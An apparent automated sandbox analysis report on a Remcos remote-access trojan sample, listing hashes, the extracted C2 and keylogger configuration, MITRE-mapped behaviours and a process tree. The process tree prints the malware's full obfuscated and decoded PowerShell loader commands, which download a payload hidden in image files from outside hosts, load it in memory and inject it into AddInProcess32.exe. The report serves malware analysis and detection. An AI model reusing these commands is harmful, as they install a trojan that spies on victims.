remcos | abb5f213c427c01b58436bbc976e2f120f09b9f84b0b858271c60ea4df87b900

General

Target

envifa.vbs
Size

5KB
MD5

8768032e6604a5bf6b09e302ae821472
SHA1

67c6eb81a7ae5e0692c41caeb71bca07d6e92794
SHA256

abb5f213c427c01b58436bbc976e2f120f09b9f84b0b858271c60ea4df87b900
SHA512

c1b2ba2e2049f3a4110a384227334ab052bf22f794a1acc49767f8ecbcb936e29a48deb4f687b354b2aba6a62b24f58d8bf0c67ba13dd6ca1ad6e5fe25b998bb
SSDEEP

96:0QTw2AVy09m32xO26Augt8S4BWtRxQHn8fBGZ2kI:Syd46A5G2kI

Score

10^/10

remcos remotehost rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

remcoss2024feb.duckdns.org:4576

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-0EVXPH
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Blocklisted process makes network request 5 IoCs

Processes:

WScript.exepowershell.exe

flow pid process

4 700 WScript.exe
6 700 WScript.exe
8 700 WScript.exe
21 4780 powershell.exe
23 4780 powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

WScript.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000\Control Panel\International\Geo\Nation WScript.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 4780 set thread context of 4876 4780 powershell.exe AddInProcess32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

3280 powershell.exe
3280 powershell.exe
4780 powershell.exe
4780 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 3280 powershell.exe
Token: SeDebugPrivilege 4780 powershell.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

AddInProcess32.exe

pid process

4876 AddInProcess32.exe

flow	pid	process
4	700	WScript.exe
6	700	WScript.exe
8	700	WScript.exe
21	4780	powershell.exe
23	4780	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000\Control Panel\International\Geo\Nation	WScript.exe

description	pid	process	target process
PID 4780 set thread context of 4876	4780	powershell.exe	AddInProcess32.exe

pid	process
3280	powershell.exe
3280	powershell.exe
4780	powershell.exe
4780	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3280	powershell.exe
Token: SeDebugPrivilege	4780	powershell.exe

pid	process
4876	AddInProcess32.exe

Suspicious use of WriteProcessMemory 16 IoCs

Processes:

WScript.exepowershell.exepowershell.exe

description	pid	process	target process
PID 700 wrote to memory of 3280	700	WScript.exe	powershell.exe
PID 700 wrote to memory of 3280	700	WScript.exe	powershell.exe
PID 3280 wrote to memory of 4780	3280	powershell.exe	powershell.exe
PID 3280 wrote to memory of 4780	3280	powershell.exe	powershell.exe
PID 4780 wrote to memory of 4876	4780	powershell.exe	AddInProcess32.exe
PID 4780 wrote to memory of 4876	4780	powershell.exe	AddInProcess32.exe
PID 4780 wrote to memory of 4876	4780	powershell.exe	AddInProcess32.exe
PID 4780 wrote to memory of 4876	4780	powershell.exe	AddInProcess32.exe
PID 4780 wrote to memory of 4876	4780	powershell.exe	AddInProcess32.exe
PID 4780 wrote to memory of 4876	4780	powershell.exe	AddInProcess32.exe
PID 4780 wrote to memory of 4876	4780	powershell.exe	AddInProcess32.exe
PID 4780 wrote to memory of 4876	4780	powershell.exe	AddInProcess32.exe
PID 4780 wrote to memory of 4876	4780	powershell.exe	AddInProcess32.exe
PID 4780 wrote to memory of 4876	4780	powershell.exe	AddInProcess32.exe
PID 4780 wrote to memory of 4876	4780	powershell.exe	AddInProcess32.exe
PID 4780 wrote to memory of 4876	4780	powershell.exe	AddInProcess32.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\envifa.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:700

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDYDgTreMDgTreDgTrevDgTreDDgTreDgTreNDgTreDgTrezDgTreC8DgTreZgB1DgTreGwDgTrebDgTreDgTrevDgTreG4DgTreZQB3DgTreF8DgTreaQBtDgTreGEDgTreZwBlDgTreC4DgTreagBwDgTreGcDgTrePwDgTrexDgTreDcDgTreMQDgTrexDgTreDIDgTreODgTreDgTre3DgTreDgDgTreODgTreDgTre3DgTreCcDgTreLDgTreDgTregDgTreCcDgTreaDgTreB0DgTreHQDgTrecDgTreBzDgTreDoDgTreLwDgTrevDgTreHUDgTrecDgTreBsDgTreG8DgTreYQBkDgTreGQDgTreZQBpDgTreG0DgTreYQBnDgTreGUDgTrebgBzDgTreC4DgTreYwBvDgTreG0DgTreLgBiDgTreHIDgTreLwBpDgTreG0DgTreYQBnDgTreGUDgTrecwDgTrevDgTreDDgTreDgTreMDgTreDgTre0DgTreC8DgTreNwDgTre2DgTreDDgTreDgTreLwDgTrewDgTreDQDgTreNDgTreDgTrevDgTreG8DgTrecgBpDgTreGcDgTreaQBuDgTreGEDgTrebDgTreDgTrevDgTreG4DgTreZQB3DgTreF8DgTreaQBtDgTreGEDgTreZwBlDgTreC4DgTreagBwDgTreGcDgTrePwDgTrexDgTreDcDgTreMQDgTrexDgTreDIDgTreODgTreDgTre3DgTreDgDgTreODgTreDgTre4DgTreCcDgTreKQDgTre7DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCDgTreDgTrePQDgTregDgTreEQDgTrebwB3DgTreG4DgTrebDgTreBvDgTreGEDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreEYDgTrecgBvDgTreG0DgTreTDgTreBpDgTreG4DgTreawBzDgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreOwDgTregDgTreGkDgTreZgDgTregDgTreCgDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCDgTreDgTreLQBuDgTreGUDgTreIDgTreDgTrekDgTreG4DgTredQBsDgTreGwDgTreKQDgTregDgTreHsDgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreCDgTreDgTrePQDgTregDgTreFsDgTreUwB5DgTreHMDgTredDgTreBlDgTreG0DgTreLgBUDgTreGUDgTreeDgTreB0DgTreC4DgTreRQBuDgTreGMDgTrebwBkDgTreGkDgTrebgBnDgTreF0DgTreOgDgTre6DgTreFUDgTreVDgTreBGDgTreDgDgTreLgBHDgTreGUDgTredDgTreBTDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreEIDgTreeQB0DgTreGUDgTrecwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreCDgTreDgTrePQDgTregDgTreCcDgTrePDgTreDgTre8DgTreEIDgTreQQBTDgTreEUDgTreNgDgTre0DgTreF8DgTreUwBUDgTreEEDgTreUgBUDgTreD4DgTrePgDgTrenDgTreDsDgTreIDgTreDgTrekDgTreGUDgTrebgBkDgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBFDgTreE4DgTreRDgTreDgTre+DgTreD4DgTreJwDgTre7DgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreRgBsDgTreGEDgTreZwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGUDgTrebgBkDgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreC4DgTreSQBuDgTreGQDgTreZQB4DgTreE8DgTreZgDgTreoDgTreCQDgTreZQBuDgTreGQDgTreRgBsDgTreGEDgTreZwDgTrepDgTreDsDgTreIDgTreBpDgTreGYDgTreIDgTreDgTreoDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreC0DgTreZwBlDgTreCDgTreDgTreMDgTreDgTregDgTreC0DgTreYQBuDgTreGQDgTreIDgTreDgTrekDgTreGUDgTrebgBkDgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreC0DgTreZwB0DgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreKwDgTre9DgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreRgBsDgTreGEDgTreZwDgTreuDgTreEwDgTreZQBuDgTreGcDgTredDgTreBoDgTreDsDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEwDgTreZQBuDgTreGcDgTredDgTreBoDgTreCDgTreDgTrePQDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTre7DgTreCDgTreDgTreJDgTreBiDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBDDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBTDgTreHUDgTreYgBzDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTresDgTreCDgTreDgTreJDgTreBiDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreQgB5DgTreHQDgTreZQBzDgTreCDgTreDgTrePQDgTregDgTreFsDgTreUwB5DgTreHMDgTredDgTreBlDgTreG0DgTreLgBDDgTreG8DgTrebgB2DgTreGUDgTrecgB0DgTreF0DgTreOgDgTre6DgTreEYDgTrecgBvDgTreG0DgTreQgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreUwB0DgTreHIDgTreaQBuDgTreGcDgTreKDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreKQDgTre7DgTreCDgTreDgTreJDgTreBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreFIDgTreZQBmDgTreGwDgTreZQBjDgTreHQDgTreaQBvDgTreG4DgTreLgBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreXQDgTre6DgTreDoDgTreTDgTreBvDgTreGEDgTreZDgTreDgTreoDgTreCQDgTreYwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreBCDgTreHkDgTredDgTreBlDgTreHMDgTreKQDgTre7DgTreCDgTreDgTreJDgTreB0DgTreHkDgTrecDgTreBlDgTreCDgTreDgTrePQDgTregDgTreCQDgTrebDgTreBvDgTreGEDgTreZDgTreBlDgTreGQDgTreQQBzDgTreHMDgTreZQBtDgTreGIDgTrebDgTreB5DgTreC4DgTreRwBlDgTreHQDgTreVDgTreB5DgTreHDgTreDgTreZQDgTreoDgTreCcDgTreUDgTreBSDgTreE8DgTreSgBFDgTreFQDgTreTwBBDgTreFUDgTreVDgTreBPDgTreE0DgTreQQBDDgTreEEDgTreTwDgTreuDgTreFYDgTreQgDgTreuDgTreEgDgTrebwBtDgTreGUDgTreJwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreG0DgTreZQB0DgTreGgDgTrebwBkDgTreCDgTreDgTrePQDgTregDgTreCQDgTredDgTreB5DgTreHDgTreDgTreZQDgTreuDgTreEcDgTreZQB0DgTreE0DgTreZQB0DgTreGgDgTrebwBkDgTreCgDgTreJwBWDgTreEEDgTreSQDgTrenDgTreCkDgTreLgBJDgTreG4DgTredgBvDgTreGsDgTreZQDgTreoDgTreCQDgTrebgB1DgTreGwDgTrebDgTreDgTresDgTreCDgTreDgTreWwBvDgTreGIDgTreagBlDgTreGMDgTredDgTreBbDgTreF0DgTreXQDgTregDgTreCgDgTreJwDgTrewDgTreC8DgTredDgTreBRDgTreFMDgTreegBBDgTreC8DgTreZDgTreDgTrevDgTreGUDgTreZQDgTreuDgTreGUDgTredDgTreBzDgTreGEDgTrecDgTreDgTrevDgTreC8DgTreOgBzDgTreHDgTreDgTredDgTreB0DgTreGgDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreGQDgTreZQBzDgTreGEDgTredDgTreBpDgTreHYDgTreYQBkDgTreG8DgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreGQDgTreZQBzDgTreGEDgTredDgTreBpDgTreHYDgTreYQBkDgTreG8DgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreGQDgTreZQBzDgTreGEDgTredDgTreBpDgTreHYDgTreYQBkDgTreG8DgTreJwDgTresDgTreCcDgTreQQBkDgTreGQDgTreSQBuDgTreFDgTreDgTrecgBvDgTreGMDgTreZQBzDgTreHMDgTreMwDgTreyDgTreCcDgTreLDgTreDgTrenDgTreCcDgTreKQDgTrepDgTreH0DgTreIDgTreB9DgTreDgTre==';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('DgTre','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3280

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/760/043/full/new_image.jpg?1711287887', 'https://uploaddeimagens.com.br/images/004/760/044/original/new_image.jpg?1711287888'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('0/tQSzA/d/ee.etsap//:sptth' , 'desativado' , 'desativado' , 'desativado','AddInProcess32',''))} }"
3⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4780

C:\Windows\Microsoft.Net\Framework\v4.0.30319\AddInProcess32.exe
"C:\Windows\Microsoft.Net\Framework\v4.0.30319\AddInProcess32.exe"
4⤵
- Suspicious use of SetWindowsHookEx
PID:4876

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
ffbc0767ac60d10af312bfcb1a2312ee

SHA1
22807f41205ef9815f887fc99e2e67c47d0728a7

SHA256
b851cb3cd90d46a50414e2696d8a9bb302ca94b3da986965a95e10790d86f1b0

SHA512
b86032c84b5e8d5dd25f9c9689ed121443d4335fe176c151ce338bc8e4e688395405bc40f3a5911eacad883f44713be6fecb78b03b3ea39d52e0ae40dc2a8c6b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
50a8221b93fbd2628ac460dd408a9fc1

SHA1
7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

SHA256
46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

SHA512
27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ay5fn4hz.wmn.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3280-19-0x00007FFAC3660000-0x00007FFAC4121000-memory.dmp

Filesize
10.8MB

Download
memory/3280-20-0x000001AD9C9D0000-0x000001AD9C9E0000-memory.dmp

Filesize
64KB

Download
memory/3280-21-0x000001AD9C9D0000-0x000001AD9C9E0000-memory.dmp

Filesize
64KB

Download
memory/3280-45-0x00007FFAC3660000-0x00007FFAC4121000-memory.dmp

Filesize
10.8MB

Download
memory/3280-9-0x000001AD9C990000-0x000001AD9C9B2000-memory.dmp

Filesize
136KB

Download
memory/4780-34-0x000001F5C2350000-0x000001F5C2610000-memory.dmp

Filesize
2.8MB

Download
memory/4780-23-0x000001F5979D0000-0x000001F5979E0000-memory.dmp

Filesize
64KB

Download
memory/4780-39-0x00007FFAC3660000-0x00007FFAC4121000-memory.dmp

Filesize
10.8MB

Download
memory/4780-22-0x00007FFAC3660000-0x00007FFAC4121000-memory.dmp

Filesize
10.8MB

Download
memory/4780-24-0x000001F5979D0000-0x000001F5979E0000-memory.dmp

Filesize
64KB

Download
memory/4876-56-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4876-62-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4876-46-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4876-43-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4876-48-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4876-49-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4876-50-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4876-55-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4876-38-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4876-57-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4876-35-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4876-44-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4876-63-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4876-69-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4876-70-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4876-75-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4876-76-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4876-81-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4876-83-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4876-88-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4876-89-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download

Analysis

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